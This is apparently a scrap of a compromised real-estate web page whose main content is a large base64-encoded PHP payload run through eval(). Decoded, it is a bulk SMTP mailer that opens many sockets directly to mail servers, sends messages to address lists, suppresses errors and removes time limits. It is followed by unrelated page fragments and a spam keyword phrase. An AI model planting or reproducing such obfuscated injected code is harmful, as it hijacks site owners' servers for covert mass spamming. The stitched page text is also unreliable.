29ya2VyX0Rpc3BhdGNoUmVjdigmJG9wRGF0YSkNCnsNCiAgZ2xvYmFsICRnX2FNYWlsRGF0YSwgJGdfYkRiZ1Jlc3BzOw0KICANCiAgLy8gU2VydmVyIHJlcGx5DQogICRyZXBseSA9IFdvcmtlcl9HZXRSZXBseUNvZGUoJG9wRGF0YVsncmVjdkJ1ZmZlciddKTsNCiAgaWYoJHJlcGx5ID09IDApDQogICAgcmV0dXJuIERSX1JlY3Y7DQoNCiAgJHN0YXR1cyA9IERSX0Vycm9yOw0KICAkc210cFN0YXRlICA9ICRvcERhdGFbJ3NtdHBTdGF0ZSddOw0KICAkc210cFN0YXR1cyA9IFdvcmtlcl9HZXRTbXRwU3RhdHVzKCRzbXRwU3RhdGUsICRyZXBseSk7DQoNCiAgaWYoJGdfYkRiZ1Jlc3BzICYmICRzbXRwU3RhdGUgIT0gU01UUF9TVEFURV9RVUlUKQ0KICB7DQogICAgZ2xvYmFsICRnX2FNYWlsRGF0YTsNCiAgICAkbWFpbCA9ICYkZ19hTWFpbERhdGFbJG9wRGF0YVsnbWFpbEluZGV4J11dOw0KICAgICRtYWlsWydyZXNwb25zZSddID0gJG9wRGF0YVsncmVjdkJ1ZmZlciddOw0KICB9DQogDQogIC8vIFNNVFBfU1RBVEVfQ09OTkVDVA0KICBpZigkc210cFN0YXRlID09IFNNVFBfU1RBVEVfQ09OTkVDVCkNCiAgew0KICAgIC8vIExVQ0tZICAgICAgIC0gR290byBuZXh0IHN0YXRlDQogICAgLy8gVU5MVUNLWSAgICAgLSBPbiBhbGwgc2Vzc2lvbiBtYWlscw0KICAgIGlmKCRzbXRwU3RhdHVzID09IFNNVFBfU1RBVFVTX0xVQ0tZKQ0KICAgICAgJHN0YXR1cyA9IFdvcmtlcl9TZW5kSGVsbygkb3BEYXRhKTsNCiAgICBlbHNlDQogICAgICAkc3RhdHVzID0gV29ya2VyX1NlbmRRdWl0KCRvcERhdGEsIE1BSUxfU1RBVFVTX1VOTFVDS1lfQ09OTkVDVCk7DQogIH0NCiAgLy8gU01UUF9TVEFURV9IRUxPDQogIGVsc2UgaWYoJHNtdHBTdGF0ZSA9PSBTTVRQX1NUQVRFX0hFTE8pDQogIHsNCiAgICAvLyBMVUNLWSAgICAgICAtIEdvdG8gbmV4dCBzdGF0ZQ0KICAgIC8vIFVOTFVDS1kgICAgIC0gT24gYWxsIHNlc3Npb24gbWFpbHMNCiAgICBpZigkc210cFN0YXR1cyA9PSBTTVRQX1NUQVRVU19MVUNLWSkNCiAgICAgICRzdGF0dXMgPSBXb3JrZXJfU2VuZE1haWxGcm9tKCRvcERhdGEpOw0KICAgIGVsc2UNCiAgICAgICRzdGF0dXMgPSBXb3JrZXJfU2VuZFF1aXQoJG9wRGF0YSwgTUFJTF9TVEFUVVNfVU5MVUNLWV9IRUxPKTsNCiAgfQ0KICAvLyBCU01fU0VTU0lPTl9TVEFURV9NQUlMX0ZST00NCiAgZWxzZSBpZigkc210cFN0YXRlID09IFNNVFBfU1RBVEVfTUFJTF9GUk9NKQ0KICB7DQogICAgLy8gTFVDS1kgICAgICAgLSBHb3RvIG5leHQgc3RhdGUNCiAgICAvLyBVTkxVQ0tZICAgICAtIENoYW5nZSBmcm9tDQogICAgaWYoJHNtdHBTdGF0dXMgPT0gU01UUF9TVEFUVVNfTFVDS1kpDQogICAgew0KICAgICAgV29ya2VyX1NldFN0YXRlcygkb3BEYXRhLCBTTVRQX1NUQVRFX1JDUFRfVE8sIERTX1NlbmQpOw0KICAgICAgJG1haWwgPSAmJGdfYU1haWxEYXRhWyRvcERhdGFbJ21haWxJbmRleCddXTsNCiAgICAgICRvcERhdGFbJ3NlbmRCdWZmZXInXSAgPSAiUkNQVCBUTzo8IjsNCiAgICAgICRvcERhdGFbJ3NlbmRCdWZmZXInXSAuPSAkbWFpbFsnbWFpbCddOw0KICAgICAgJG9wRGF0YVsnc2VuZEJ1ZmZlciddIC49ICI+XHJcbiI7DQogICAgICAkb3BEYXRhWydzZW5kU2l6ZSddICAgID0gc3RybGVuKCRvcERhdGFbJ3NlbmRCdWZmZXInXSk7DQogICAgICAkc3RhdHVzID0gRFJfU2VuZDsNCiAgICB9DQogICAgZWxzZQ0KICAgICAgJHN0YXR1cyA9IFdvcmtlcl9TZW5kUXVpdCgkb3BEYXRhLCBNQUlMX1NUQVRVU19VTkxVQ0tZX01BSUxfRlJPTSk7DQogIH0NCiAgLy8gQlNNX1NFU1NJT05fU1RBVEVfUkNQVF9UTw0KICBlbHNlIGlmKCRzbXRwU3RhdGUgPT0gU01UUF9TVEFURV9SQ1BUX1RPKQ0KICB7DQogICAgLy8gTFVDS1kgICAgICAgLSBHb3RvIG5leHQgc3RhdGUNCiAgICAvLyBVTkxVQ0tZICAgICAtIE5vIHVzZXIgLSBSU0VUDQogICAgaWYoJHNtdHBTdGF0dXMgPT0gU01UUF9TVEFUVVNfTFVDS1kpDQogICAgew0KICAgICAgV29ya2VyX1NldFN0YXRlcygkb3BEYXRhLCBTTVRQX1NUQVRFX0RBVEEsIERTX1NlbmQpOw0KICAgICAgJG9wRGF0YVsnc2VuZEJ1ZmZlciddICA9ICJEQVRBXHJcbiI7DQogICAgICAkb3BEYXRhWydzZW5kU2l6ZSddICAgID0gc3RybGVuKCRvcERhdGFbJ3NlbmRCdWZmZXInXSk7DQogICAgICAkc3RhdHVzID0gRFJfU2VuZDsNCiAgICB9DQogICAgZWxzZQ0KICAgICAgJHN0YXR1cyA9IFdvcmtlcl9TZW5kUXVpdCgkb3BEYXRhLCBNQUlMX1NUQVRVU19VTkxVQ0tZX1JDUFRfVE8pOw0KICB9DQogIC8vIEJTTV9TRVNTSU9OX1NUQVRFX0RBVEENCiAgZWxzZSBpZigkc210cFN0YXRlID09IFNNVFBfU1RBVEVfREFUQSkNCiAgew0KICAgIC8vIExVQ0tZICAgICAgIC0gR290byBuZXh0IHN0YXRlDQogICAgLy8gVU5MVUNLWSAgICAgLSBObyBkZWxpdmVyZWQgLSBSU0VUDQogICAgaWYoJHNtdHBTdGF0dXMgPT0gU01UUF9TVEFUVVNfTFVDS1kpDQogICAgew0KICAgICAgV29ya2VyX1NldFN0YXRlcygkb3BEYXRhLCBTTVRQX1NUQVRFX0NPTlRFTlQsIERTX1NlbmQpOw0KICAgICAgJG9wRGF0YVsnc2VuZEJ1ZmZlciddICA9ICRvcERhdGFbJ2xldHRlciddOw0KICAgICAgJG9wRGF0YVsnc2VuZFNpemUnXSAgICA9IHN0cmxlbigkb3BEYXRhWydzZW5kQnVmZmVyJ10pOw0KICAgICAgJHN0YXR1cyA9IERSX1NlbmQ7DQogICAgfQ0KICAgIGVsc2UNCiAgICAgICRzdGF0dXMgPSBXb3JrZXJfU2VuZFF1aXQoJG9wRGF0YSwgTUFJTF9TVEFUVVNfVU5MVUNLWV9EQVRBKTsNCiAgfQ0KICAvLyBTTVRQX1NUQVRFX0NPTlRFTlQNCiAgZWxzZSBpZigkc210cFN0YXRlID09IFNNVFBfU1RBVEVfQ09OVEVOVCkNCiAgew0KICAgIC8vIExVQ0tZICAgICAgIC0gR290byBuZXh0IHN0YXRlDQogICAgLy8gVU5MVUNLWSAgICAgLSBObyB1c2VyIC0gUlNFVA0KICAgIGlmKCRzbXRwU3RhdHVzID09IFNNVFBfU1RBVFVTX0xVQ0tZKQ0KICAgICAgJHN0YXR1cyA9IFdvcmtlcl9TZW5kUXVpdCgkb3BEYXRhLCBNQUlMX1NUQVRVU19MVUNLWSk7DQogICAgIGVsc2UNCiAgICAgICAkc3RhdHVzID0gV29ya2VyX1NlbmRRdWl0KCRvcERhdGEsIE1BSUxfU1RBVFVTX1VOTFVDS1lfQ09OVEVOVCk7DQogIH0NCiAgLy8gQlNNX1NFU1NJT05fU1RBVEVfUVVJVA0KICBlbHNlIGlmKCRzbXRwU3RhdGUgPT0gU01UUF9TVEFURV9RVUlUKQ0KICB7DQogICAgJHN0YXR1cyA9IERSX0Nsb3NlOw0KICB9DQogIA0KICAkb3BEYXRhWydyZWN2QnVmZmVyJ10gPSAnJzsNCg0KICByZXR1cm4gJHN0YXR1czsNCn0NCg0KDQpmdW5jdGlvbiBXb3JrZXJfSXNJb1BlbmRpbmcoJHJlcykNCnsNCiAgJGVyciA9IHNvY2tldF9sYXN0X2Vycm9yKCk7DQogIGlmKCRyZXMgPT0gRkFMU0UgJiYgJGVyciA9IDEwMDM1KQ0KICAgIHJldHVybiBUUlVFOw0KICByZXR1cm4gJHJlczsNCn0NCg0KDQpmdW5jdGlvbiBXb3JrZXJfT25TZWxlY3QoJiRvcERhdGEpDQp7DQogIGdsb2JhbCAkZ19pTG9ja2VkT3BzOw0KICANCiAgJHJlc3VsdCAgICA9IERSX1VuZGVmOw0KICAkc29ja2V0ICAgID0gJG9wRGF0YVsnc29ja2V0J107DQogICRkYXRhU3RhdGUgPSAkb3BEYXRhWydkYXRhU3RhdGUnXTsNCiAgDQogIC8vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogIC8vIElPICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogIC8vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogIGlmKCRkYXRhU3RhdGUgPT0gRFJfU2VuZCkNCiAgew0KICAgICRidWZmZXIgPSAmJG9wRGF0YVsnc2VuZEJ1ZmZlciddOw0KICAgICRyZXMgPSBAc29ja2V0X3NlbmQoJHNvY2tldCwgJGJ1ZmZlciwgc3RybGVuKCRidWZmZXIpLCAwKTsNCiAgICBpZihXb3JrZXJfSXNJb1BlbmRpbmcoJHJlcykgPT0gRkFMU0UpDQogICAgICAgJHJlc3VsdCA9IERSX0Vycm9yOw0KICAgICAkb3BEYXRhWydsYXN0VGltZSddID0gdGltZSgpOw0KICB9DQogIGVsc2UgaWYoJGRhdGFTdGF0ZSA9PSBEUl9SZWN2KQ0KICB7DQogICAgJGJ1ZmZlciA9ICcnOyAgICANCiAgICAkcmVzID0gQHNvY2tldF9yZWN2KCRzb2NrZXQsICRidWZmZXIsIDQwOTYsIDApOw0KICAgIGlmKFdvcmtlcl9Jc0lvUGVuZGluZygkcmVzKSA9PSBGQUxTRSkNCiAgICAgICRyZXN1bHQgPSBEUl9FcnJvcjsNCiAgICBpZigkYnVmZmVyID09IE5VTEwpDQogICAgICAkcmVzdWx0ID0gRFJfRXJyb3I7DQogICAgJG9wRGF0YVsncmVjdkJ1ZmZlciddIC49ICRidWZmZXI7DQogICAgJG9wRGF0YVsnbGFzdFRpbWUnXSA9IHRpbWUoKTsNCiAgfQ0KICBlbHNlIGlmKCRkYXRhU3RhdGUgPT0gRFJfVGltZW91dCkNCiAgew0KICAgICRyZXN1bHQgPSBEUl9FcnJvcjsNCiAgfQ0KICANCiAgLy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgLy8gRGlzcGF0Y2ggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgLy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgaWYoJHJlc3VsdCA9PSBEUl9VbmRlZikNCiAgew0KICAgIC8vIFNlbmQNCiAgICBpZigkZGF0YVN0YXRlID09IERSX1NlbmQpDQogICAgICAkcmVzdWx0ID0gV29ya2VyX0Rpc3BhdGNoU2VuZCgkb3BEYXRhKTsNCiAgICAvLyBSZWNlaXZlDQogICAgZWxzZSBpZigkZGF0YVN0YXRlID09IERSX1JlY3YpDQogICAgICAkcmVzdWx0ID0gV29ya2VyX0Rpc3BhdGNoUmVjdigkb3BEYXRhKTsNCiAgfQ0KICANCiAgaWYoJHJlc3VsdCA9PSBEUl9DbG9zZSB8fCAkcmVzdWx0ID09IERSX0Vycm9yKQ0KICB7DQogICAgaWYoJG9wRGF0YVsnc29ja2V0J10pDQogICAgICAtLSRnX2lMb2NrZWRPcHM7DQogICAgQHNvY2tldF9jbG9zZSgkc29ja2V0KTsNCiAgICAkb3BEYXRhWydzb2NrZXQnXSA9IE5VTEw7DQogICAgaWYoJHJlc3VsdCA9PSBEUl9FcnJvcikNCiAgICAgIFdvcmtlcl9QdXRNYWlsKCRvcERhdGFbJ21haWxJbmRleCddLCBNQUlMX1NUQVRVU19VTkxVQ0tZX1RJTUVPVVQpOw0KICB9DQoNCiAgLy8gU2VuZE1haWxzDQogIFdvcmtlcl9TZW5kTWFpbHMoKTsNCn0NCg0KDQpmdW5jdGlvbiBXb3JrZXJfRmluZEZyZWVTb2NrZXQoKQ0Kew0KICBnbG9iYWwgJGdfYU9wRGF0YTsNCiAgZm9yKCRpID0gMDsgJGkgPCBDRkdfTlVNX1NPQ0tFVFM7ICsrJGkpDQogIHsNCiAgICAkb3BEYXRhID0gJiRnX2FPcERhdGFbJGldOw0KICAgIGlmKCRvcERhdGFbJ3NvY2tldCddID09IE5VTEwpDQogICAgICByZXR1cm4gJGk7DQogIH0NCiAgcmV0dXJuIC0xOw0KfQ0KDQpmdW5jdGlvbiBXb3JrZXJfU2VuZE1haWwoKQ0Kew0KICBnbG9iYWwgJGdfYU9wRGF0YTsNCiAgZ2xvYmFsICRnX2lMb2NrZWRPcHM7DQogICAgDQogICRpbmRleCA9IFdvcmtlcl9GaW5kRnJlZVNvY2tldCgpOw0KICBpZigkaW5kZXggIT0gLTEpDQogIHsNCiAgICAkb3BEYXRhID0gJiRnX2FPcERhdGFbJGluZGV4XTsNCiAgICBsaXN0KCRtYWlsSW5kZXgsICRtYWlsU2VydmVyKSA9IFdvcmtlcl9HZXRNYWlsKCRvcERhdGEpOw0KICAgIGlmKCRtYWlsSW5kZXggIT0gLTEpDQogICAgew0KICAgICAgJHNvY2tldCA9IHNvY2tldF9jcmVhdGUoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOw0KICAgICAgaWYoJHNvY2tldCkNCiAgICAgIHsNCiAgICAgICAgc29ja2V0X3NldF9ub25ibG9jaygkc29ja2V0KTsNCiAgICAgICAgJG9wRGF0YVsnbWFpbEluZGV4J10gPSAkbWFpbEluZGV4Ow0KICAgICAgICANCiAgICAgICAgJHJlcyA9IEBzb2NrZXRfY29ubmVjdCgkc29ja2V0LCBsb25nMmlwKCRtYWlsU2VydmVyKSwgMjUpOw0KICAgICAgICBpZihXb3JrZXJfSXNJb1BlbmRpbmcoJHJlcykgPT0gVFJVRSkNCiAgICAgICAgew0KICAgICAgICAgICsrJGdfaUxvY2tlZE9wczsNCiAgICAgICAgICAkb3BEYXRhWydzb2NrZXQnXSA9ICRzb2NrZXQ7DQogICAgICAgICAgJG9wRGF0YVsnbGFzdFRpbWUnXSA9IHRpbWUoKTsNCiAgICAgICAgICBXb3JrZXJfU2V0U3RhdGVzKCRvcERhdGEsIFNNVFBfU1RBVEVfQ09OTkVDVCwgRFNfUmVjdik7DQogICAgICAgICAgcmV0dXJuIFRSVUU7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgV29ya2VyX1B1dE1haWwoJG1haWxJbmRleCwgTUFJTF9TVEFUVVNfVU5MVUNLWV9USU1FT1VUKTsNCiAgICAgICAgICBAc29ja2V0X2Nsb3NlKCRzb2NrZXQpOw0KICAgICAgICB9DQogICAgICB9DQogICAgfQ0KICB9DQogIA0KICByZXR1cm4gRkFMU0U7DQp9DQoNCmZ1bmN0aW9uIFdvcmtlcl9TZW5kTWFpbHMoKQ0Kew0KICAkbnVtTWFpbHMgPSAwOw0KICB3aGlsZShXb3JrZXJfU2VuZE1haWwoKSkNCiAgICArKyRudW1NYWlsczsNCiAgcmV0dXJuICRudW1NYWlsczsNCiAgDQp9DQoNCg0KZnVuY3Rpb24gV29ya2VyX0NoZWNrVGltZW91dHMoJGxhc3RUaW1lKQ0Kew0KICBnbG9iYWwgJGdfYU9wRGF0YTsNCiAgZm9yKCRpID0gMDsgJGkgPCBjb3VudCgkZ19hT3BEYXRhKTsgKyskaSkNCiAgew0KICAgICRvcERhdGEgPSAmJGdfYU9wRGF0YVskaV07DQogICAgaWYoJG9wRGF0YVsnc29ja2V0J10gIT0gTlVMTCkNCiAgICB7DQogICAgICAkbGFzdFRpbWUgPSAkbGFzdFRpbWUgLSAkb3BEYXRhWydsYXN0VGltZSddOw0KICAgICAgJHdvcmtUaW1lID0gJGxhc3RUaW1lIC0gJG9wRGF0YVsnc3RhcnRUaW1lJ107DQogICAgICBpZigkbGFzdFRpbWUgPj0gQ0ZHX1NPQ0tfVElNRU9VVCB8fCAkd29ya1RpbWUgPj0gQ0ZHX1NPQ0tfV09SS19USU1FKQ0KICAgICAgew0KICAgICAgICAkb3BEYXRhWydkYXRhU3RhdGUnXSA9IERSX1RpbWVvdXQ7DQogICAgICAgIFdvcmtlcl9PblNlbGVjdCgkb3BEYXRhKTsNCiAgICAgIH0NCiAgICB9DQogIH0NCn0NCg0KDQpmdW5jdGlvbiAmV29ya2VyX0dldE9wRGF0YSgkcykNCnsNCiAgZ2xvYmFsICRnX2FPcERhdGE7DQogIGZvcigkaSA9IDA7ICRpIDwgY291bnQoJGdfYU9wRGF0YSk7ICsrJGkpDQogIHsNCiAgICAkb3BEYXRhID0gJiRnX2FPcERhdGFbJGldOw0KICAgIGlmKCRvcERhdGFbJ3NvY2tldCddID09ICRzKQ0KICAgICAgcmV0dXJuICRvcERhdGE7DQogIH0NCiAgcmV0dXJuIE5VTEw7DQp9DQoNCmZ1bmN0aW9uIERvSm9iKCkNCnsNCiAgZ2xvYmFsICRnX2FPcERhdGE7DQogIGdsb2JhbCAkZ19pTG9ja2VkT3BzOw0KICBnbG9iYWwgJGdfaUZyZWVNYWlsczsNCiAgICAgICAgDQogIC8vIEV2ZW50IGN5Y2xlDQogIHdoaWxlKCRnX2lMb2NrZWRPcHMgfHwgJGdfaUZyZWVNYWlscykNCiAgew0KICAgICRyZWFkICAgPSBhcnJheSgpOw0KICAgICR3cml0ZSAgPSBhcnJheSgpOw0KICAgICRleGNlcHQgPSBOVUxMOw0KICAgICAgICANCiAgICAvLyBGaWxsIGFycmF5cw0KICAgIGZvcigkaSA9IDA7ICRpIDwgQ0ZHX05VTV9TT0NLRVRTOyArKyRpKQ0KICAgIHsNCiAgICAgICRvcERhdGEgPSAmJGdfYU9wRGF0YVskaV07DQogICAgICBpZigkb3BEYXRhWydzb2NrZXQnXSAhPSBOVUxMKQ0KICAgICAgew0KICAgICAgICBpZigkb3BEYXRhWydkYXRhU3RhdGUnXSA9PSBEU19SZWN2KQ0KICAgICAgICAgICRyZWFkW10gPSAkb3BEYXRhWydzb2NrZXQnXTsNCiAgICAgICAgZWxzZSBpZigkb3BEYXRhWydkYXRhU3RhdGUnXSA9PSBEU19TZW5kKQ0KICAgICAgICAgICR3cml0ZVtdID0gJG9wRGF0YVsnc29ja2V0J107DQogICAgICB9DQogICAgfQ0KICAgIA0KICAgIC8vIEV2ZW50cw0KICAgICRudW0gPSBAc29ja2V0X3NlbGVjdCgkcmVhZCwgJHdyaXRlLCAkZXhjZXB0LCAxMCk7DQogICAgaWYoJG51bSkNCiAgICB7ICAgICAgDQogICAgICBmb3IoJGkgPSAwOyAkaSA8IHNpemVvZigkcmVhZCk7ICsrJGkpDQogICAgICB7DQogICAgICAgICRvcERhdGEgPSAmV29ya2VyX0dldE9wRGF0YSgkcmVhZFskaV0pOw0KICAgICAgICBXb3JrZXJfT25TZWxlY3QoJG9wRGF0YSk7DQogICAgICB9DQogICAgICBmb3IoJGkgPSAwOyAkaSA8IHNpemVvZigkd3JpdGUpOyArKyRpKQ0KICAgICAgew0KICAgICAgICAkb3BEYXRhID0gJldvcmtlcl9HZXRPcERhdGEoJHdyaXRlWyRpXSk7DQogICAgICAgIFdvcmtlcl9PblNlbGVjdCgkb3BEYXRhKTsNCiAgICAgIH0NCiAgICB9DQogICAgDQogICAgLy8gVGltZW91dHMNCiAgICBXb3JrZXJfQ2hlY2tUaW1lb3V0cyh0aW1lKCkpOw0KICB9DQp9DQoNCg0KZnVuY3Rpb24gU3RhcnRKb2IoKQ0Kew0KICAvLyBJbml0DQogIFdvcmtlcl9Jbml0RGF0YSgpOw0KICANCiAgLy8gU2VuZE1haWxzDQogIFdvcmtlcl9TZW5kTWFpbHMoKTsNCn0NCg0KZnVuY3Rpb24gU3RvcEpvYigpDQp7DQogIGdsb2JhbCAkZ19hTWFpbERhdGEsICRnX2JEYmdSZXNwczsNCg0KICAkc3RhdHMgPSAnZG9uZTonOw0KICBmb3IoJGkgPSAwOyAkaSA8IGNvdW50KCRnX2FNYWlsRGF0YSk7ICsrJGkpDQogIHsNCiAgICAkbWFpbCA9ICYkZ19hTWFpbERhdGFbJGldOw0KICAgICRzdGF0cyAuPSAoMCArICRtYWlsWydzdGF0dXMnXSk7DQogICAgaWYoJGdfYkRiZ1Jlc3BzKQ0KICAgIHsNCiAgICAgIGlmKHN0cmxlbigkbWFpbFsncmVzcG9uc2UnXSkgPiA5OSkNCiAgICAgICAgICRtYWlsWydyZXNwb25zZSddID0gc3Vic3RyKCRtYWlsWydyZXNwb25zZSddLCAwLCA5OSk7DQogICAgICAkc3RhdHMgLj0gc3ByaW50ZigiJTAyZCIsIHN0cmxlbigkbWFpbFsncmVzcG9uc2UnXSkpOw0KICAgICAgJHN0YXRzIC49ICRtYWlsWydyZXNwb25zZSddOw0KICAgIH0NCiAgfQ0KICBlY2hvKCRzdGF0cyk7DQp9DQoNCmZ1bmN0aW9uIFNob3dQcmV2aWV3KCkNCnsNCiAgJGxldHRlciA9ICcnOw0KDQoNCiAgLy9NYWlsX0dlbmVyYXRlKCRsZXR0ZXIsICdqamtqJywgJGZyb21OYW1lLCAkZnJvbUFkZHIpOw0KDQoNCiAgZWNobygkbGV0dGVyKTsNCn0NCg0KDQpmdW5jdGlvbiBMb2FkRXh0ZW5zaW9uKCRleHQpDQp7DQogICRsaWIgPSAkZXh0Licuc28nOw0KICBpZihzdHJ0b3VwcGVyKHN1YnN0cihQSFBfT1MsIDAsIDMpKSA9PT0gJ1dJTicpDQogICAgJGxpYiA9ICdwaHBfJy4kZXh0LicuZGxsJzsNCiAgDQogIGlmKCFleHRlbnNpb25fbG9hZGVkKCRleHQpKQ0KICB7DQogICAgaWYoIWRsKCRsaWIpKQ0KICAgICAgcmV0dXJuIEZBTFNFOw0KICB9DQogIHJldHVybiBUUlVFOw0KfQ0KDQpmdW5jdGlvbiBXb3JrKCkNCnsNCiAgZ2xvYmFsICRnX2JEYmdSZXNwczsNCiAgZ2xvYmFsICRUVF9Ub19BZGRyZXNzOw0KDQoNCiAgc2V0X3RpbWVfbGltaXQoMCk7DQogIGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJzAnKTsNCiAgTG9hZEV4dGVuc2lvbignc29ja2V0cycpOw0KDQoNCg0KICAvLyBkZWJ1Zw0KIC8vICRnX2JEYmdSZXNwcyA9ICRfUE9TVFsnZGJnUmVzcHMnXTsNCiAgDQogDQogIE1haWxfSW5pdERhdGEoKTsgIA0KDQoNCiBpZihpc3NldCgkVFRfVG9fQWRkcmVzcykpDQovLyAgaWYoMT09MSkNCiAgew0KICAgIFN0YXJ0Sm9iKCk7DQogICAgRG9Kb2IoKTsNCiAgICBTdG9wSm9iKCk7DQogIH0NCiAgZWxzZQ0KICB7DQogICAgU2hvd1ByZXZpZXcoKTsNCiAgfQ0KDQp9DQoNCg0KV29yaygpOw0K\"); eval(\$_daf7fc92fd2cb9814c24a08a1062654a);")); 
  
  
  
  
 

Quazi Real Estate
side-area-logo
Adam Henrique Jersey